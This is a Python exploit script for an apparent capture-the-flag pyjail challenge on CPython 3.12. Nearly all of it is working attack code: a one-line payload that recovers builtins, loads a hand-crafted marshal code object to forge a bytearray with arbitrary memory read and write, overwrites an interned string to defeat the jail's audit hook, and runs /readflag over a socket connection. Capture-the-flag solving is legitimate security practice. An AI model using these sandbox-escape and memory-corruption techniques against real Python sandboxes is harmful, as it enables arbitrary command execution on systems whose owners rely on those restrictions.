#!/usr/bin/env python3
"""Exploit the Python Pwned v2 CPython 3.12 pyjail."""

from __future__ import annotations

import argparse
import re
import socket
import sys


FLAG_RE = re.compile(rb"[A-Za-z0-9_]+\{[^}\r\n]+\}")

# A Python 3.12 code object whose bytecode contains three EXTENDED_ARG
# instructions followed by LOAD_CONST and RETURN_VALUE.  The aa/bb/cc/dd
# bytes are replaced in the jail with the calculated out-of-bounds index.
CODE_HEX = (
    "630000000000000000000000000100000003000000730a000000"
    "90aa90bb90cc64dd530028000000002800000000280000000073"
    "00000000750c000000706174682f746f2f66696c657505000000"
    "64756d6d79750500000064756d6d792900000073070000008000"
    "d8040880447300000000"
)


def build_payload() -> str:
    """Return the single physical line consumed by app.py's input()."""
    parts = [
        # BuiltinImporter can return the already-loaded builtins module without
        # causing a late import audit event.
        "b=[x for x in ().__class__.__base__.__subclasses__() "
        "if x.__name__=='BuiltinImporter'][0].load_module('builtins')",
        "s=b.__import__('sys')",
        "m=s.modules['marshal']",
        "O=s.modules['posix']",
        "P=lambda x:x.to_bytes(8,'little')",
        # Put a fake PyByteArrayObject in a real bytearray's backing storage.
        # Its NULL ob_start and huge ob_size turn indexes into addresses.
        "f=b.bytearray(P(0x41414141)+P(b.id(b.bytearray))+"
        "P(0x7fffffffffffffff)+P(0)+P(0)+P(0)+P(0))",
        # co_consts is the empty-tuple singleton.  Reading the real bytearray's
        # ob_bytes field out of bounds returns the fake object's address.
        "o=(b.id(f)+32-(b.id(())+24))//8",
        "(-2147483648<=o<2147483648) or 1/0",
        f"h={CODE_HEX!r}",
        "h=h.replace('aa',b.format((o>>24)&255,'02x'))"
        ".replace('bb',b.format((o>>16)&255,'02x'))"
        ".replace('cc',b.format((o>>8)&255,'02x'))"
        ".replace('dd',b.format(o&255,'02x'))",
        "c=m.loads(b.bytes.fromhex(h))",
        "d=lambda:0",
        # object.__setattr__ is audited, but this code object passes the jail's
        # deliberately narrow dynamic-code validator.
        "b.setattr(d,'__code__',c)",
        "x=d()",
        # Discover the compact-ASCII data offset rather than hard-coding it.
        "q='peko'",
        "n=x[b.id(q):b.id(q)+96].find(q.encode())",
        "n>=0 or 1/0",
        # The runtime frozenset shares this interned string with auditor's
        # compiler constants.  Change 'os' to 'xx' so 'os.exec' is permitted.
        "t='os'",
        "x[b.id(t)+n:b.id(t)+n+b.len(t)]=b'x'*b.len(t)",
        "O.execve('/readflag',('/readflag',),{})",
    ]
    payload = ";".join(parts)
    if "\n" in payload or "\r" in payload:
        raise ValueError("payload must be exactly one input line")
    return payload


def recv_until(sock: socket.socket, marker: bytes) -> bytes:
    data = bytearray()
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def recv_all(sock: socket.socket) -> bytes:
    data = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except TimeoutError:
            break
        if not chunk:
            break
        data.extend(chunk)
    return bytes(data)


def main() -> int:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("host", nargs="?", default="127.0.0.1")
    parser.add_argument("-p", "--port", type=int, default=25776)
    parser.add_argument("--timeout", type=float, default=5.0)
    parser.add_argument("--show-payload", action="store_true")
    args = parser.parse_args()

    payload = build_payload()
    if args.show_payload:
        print(payload, file=sys.stderr)

    try:
        with socket.create_connection((args.host, args.port), args.timeout) as sock:
            sock.settimeout(args.timeout)
            banner = recv_until(sock, b"$ ")
            if b"$ " not in banner:
                raise RuntimeError(f"target did not send its prompt: {banner!r}")
            sock.sendall(payload.encode() + b"\n")
            response = recv_all(sock)
    except (OSError, RuntimeError) as exc:
        parser.error(f"could not exploit {args.host}:{args.port}: {exc}")

    match = FLAG_RE.search(response)
    if match is None:
        sys.stderr.buffer.write(b"target response: " + response + b"\n")
        parser.error("payload completed without returning a flag-shaped value")

    sys.stdout.buffer.write(match.group(0) + b"\n")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())